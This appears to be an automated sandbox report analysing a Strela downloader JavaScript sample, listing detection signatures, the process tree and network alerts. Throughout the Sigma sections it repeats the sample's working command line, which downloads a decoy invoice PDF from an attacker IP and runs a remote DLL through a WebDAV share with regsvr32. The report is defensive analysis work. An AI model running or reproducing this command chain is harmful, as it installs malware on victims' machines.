Edit tour

Windows Analysis Report
183159621374924598.js

Overview

General Information

Sample name:	183159621374924598.js
Analysis ID:	1588815
MD5:	e755c8e3261536f6e574c07eafaa4f47
SHA1:	8b848bed05a2c38bef23f28c8ac184d55bf77524
SHA256:	24fcb45e9985314dac98ee824a0bf25b7622d19d6fa6e7e5783349f727047a7e
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7328 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7380 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7432 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7840 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8028 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1760,i,17055857362209001177,5211015245744740405,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7644 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7724 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7908 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7328	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7432, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7432, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", ProcessId: 7328, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7724, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, ProcessId: 7380, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", ProcessId: 7328, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7432, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7644, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7724, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7908, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7644, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7724, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\183159621374924598.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7328, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll, ProcessId: 7380, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:52:26.111734+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:52:28.866325+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:52:26.111734+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 183159621374924598.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 183159621374924598.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:52:25 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

